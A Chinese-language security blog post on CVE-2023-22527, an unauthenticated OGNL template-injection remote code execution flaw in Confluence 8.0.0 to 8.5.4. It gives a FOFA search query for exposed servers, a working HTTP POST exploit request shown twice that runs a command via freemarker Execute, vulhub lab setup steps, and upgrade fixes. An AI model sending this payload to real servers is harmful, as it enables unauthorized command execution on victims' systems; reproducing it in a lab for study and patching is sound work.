Atlassian Confluence 模板注入代码执行漏洞

漏洞简介

Confluence 是由Atlassian公司开发的企业协作和文档管理工具。

Atlassian Confluence Data Center/Server 受影响版本中由于velocity vm模版可未授权访问,其中/aui/text-inline.vm使用findValue解析OGNL表达式,表达式过滤不严,导致存在模版注入漏洞。

攻击者可通过构造恶意请求,可以在未登录的情况下在Confluence实例上触发远程代码执行漏洞。

影响范围

confluence_data_center@[8.0.0, 8.5.4)

confluence_server@[8.0.0, 8.5.4)

网络空间测绘查询

fofa:

app="ATLASSIAN-Confluence"

POC

POST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 285

label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))

本次漏洞复现环境采用P神的vulhub靶场

https://github.com/vulhub/vulhub/blob/master/confluence/CVE-2023-22527

环境搭建

下载docker文件启动一个docker环境

docker compose up -d

环境启动后,访问http://your-ip:8090即可进入安装向导,选择“Trial installation”,之后会要求填写license key。点击“Get an evaluation license”,去Atlassian官方申请一个Confluence Server的测试证书:

然后点击Next安装即可。这一步小内存VPS可能安装失败或时间较长(建议使用4G内存以上的机器进行安装与测试),请耐心等待。

如果提示填写cluster node,路径填写/home/confluence即可:

后续可能要求你填写数据库账号密码,选择postgres数据库,地址为

db,账号密码均为postgres:

漏洞复现

利用时直接发送带有payload的请求即可执行任意命令,返回的结果在HTTP返回头中。

POST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 285

label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))

修复方式

将 confluence_data_center 升级至 8.5.4 及以上版本

将confluence_data_center升级至 8.6.0 及以上版本

将confluence_data_center升级至 8.7.1 及以上版本

将 confluence_server 升级至 8.5.4 及以上版本

  专注分享安全知识,大家可以关注一下我的微信公众号,谢谢大家!

不积跬步,无以至千里;不积小流,无以成江河。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值